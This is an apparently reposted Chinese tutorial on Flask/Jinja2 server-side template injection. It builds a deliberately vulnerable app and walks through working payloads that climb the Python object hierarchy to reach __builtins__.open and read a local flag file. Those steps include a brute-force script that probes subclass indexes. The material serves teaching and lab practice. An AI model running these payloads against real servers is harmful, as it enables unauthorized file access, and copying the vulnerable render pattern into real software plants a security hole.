1. 程式人生 > 其它 >Flask模板注入

Flask模板注入

簡單SSTI

Flask模板注入漏洞屬於經典的SSTI(伺服器模板注入漏洞)。

  • Title: [CVE-2019-8341] Python Jinja2 command injection in function from_string
  • Category: security
  • Stage: in progress
  • Components: incident
  • Versions: unspecified

Flask案例

一個簡單的Flask應用案例:

from flask import Flask,render_template_string


app=Flask(__name__)

@app.route('/<username>')
def hello(username):
    return render_template_string('Hello %s'%username)

if __name__=='__main__':
    app.run(port=8088)

路由

route裝飾器的作用是將函式與url繫結,其功能是返回使用者自定義的username。

渲染方法

Flask具有兩種渲染方法:render_template和render_template_string。

render_template()用於渲染給定檔案,如:

return render_template('./example.html')

render_template_string()用於渲染單個字串。這是SSTI漏洞注入問題中常見的渲染方法。使用方法如:

html='<h1>This is a test.</h1>'
return render_template_string(html)

模板

Flask使用jinja2作為渲染引擎。模板檔案並不是純粹的.html檔案,由於需要渲染使用者名稱、個性資料等,模板.html檔案需要包含模板語法,如:

<!--/template/index.html-->
<html>
	<h1>{{content}}</h1>
</html>

{{}}在jinja2為變數包裹識別符號。

服務端此時就能利用變數content渲染資料,如:

#test.py
from flask import Flask,url_for,redirect,render_template,render_template_string


@app.route('/index/')
def user_login():
    return render_template('index.html',content='This is index page.')

頁面會輸出“This is index page.”。不過這是與前文案例不同的模板使用方式,這種寫法能夠控制模板渲染的變數,不會引起XSS利用。

規避XSS利用的思路可以用如下兩端程式碼的對比體現:

#存在問題
@app.route('/test/')
def test():
    code = request.args.get('id')
    html = '''<h3>%s</h3>'''%(code)
    return render_template_string(html)
#規避問題
@app.route('/test/')
def test():
    code = request.args.get('id')
    return render_template_string('<h1>{{ code }}</h1>',code=code)

實現注入,需要前文案例中那樣有漏洞的寫法。

注入試驗

將jinja2的變數包裹識別符號{{}}傳入,得到報錯:

在服務端可以得到報錯資訊:jinja2.exceptions.TemplateSyntaxError: Expected an expression, got 'end of print statement',即觸發模板,且模板需要取得表示式內容。

傳入{{self}},返回模板資料:

案例中,模板具有引用物件username,這裡沒有傳入,故引用物件為None。

檔案查詢

設定服務端的.py檔案同級目錄下有一個FL4G.txt檔案。

定位所需函式

開啟檔案需要Python內建的open()函式,由於Python完全由物件構建,需要先得到Python的物件,再例項化需要的函式。

使用魔術方法(Magic Methods)。

傳入{{self.__class__}},得到模板引用的類:

物件是類的例項,類是物件的模板。傳入{{self.__class__.__base__}},得到物件:

得到基於當前物件的所有子類,傳入{{self.__class__.__base__.__subclasses__()}}

返回了列表形式儲存的全部結果,使用下標可以單獨取得任意類。

檢視type類的初始化方法,傳入{{self.__class__.__base__.__subclasses__()[0].__init__}}

slot wrapper特徵封裝,不是可以直接呼叫的function。

使用如下指令碼取得類初始化方法為function的類:

import requests


if __name__=='__main__':
    for i in range(1000):
        r=requests.get('http://127.0.0.1:8088/%7B%7Bself.__class__.__base__.\
        __subclasses__()[{}].__init__%7D%7D'.format(i))
        txt=r.text
        if 'function' in txt:
            print(str(i))

重新傳入{{self.__class__.__base__.__subclasses__()[133].__init__}},這個class的初始化方法是一個function:

繼續檢視存放該函式全域性變數的字典的引用,傳入{{self.__class__.__base__.__subclasses__()[133].__init__.__globals__}}

在眾多資訊中可以查詢到關於內建函式open()的資訊:

呼叫函式

傳入{{self.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__']}},可得全部內建資訊,open()函式包含在內。直接呼叫open()函式開啟檔案:

{{self.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__'].open('FL4G.txt')}}

{{self.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__'].open('FL4G.txt').read()}}

小結

幾種重要的魔術方法:

方法名 功能
__class__ 返回型別所屬的物件
__mro__ 返回包含物件所繼承的基類元組,方法在解析時按照元組順序解析
__base__ 返回物件所繼承的基類
__subclasses__ 每個新類都保留子類的引用,該方法返回類中仍然可用的子類列表
__init__ 類的初始化
__globals__ 對包含函式全域性變數的字典的引用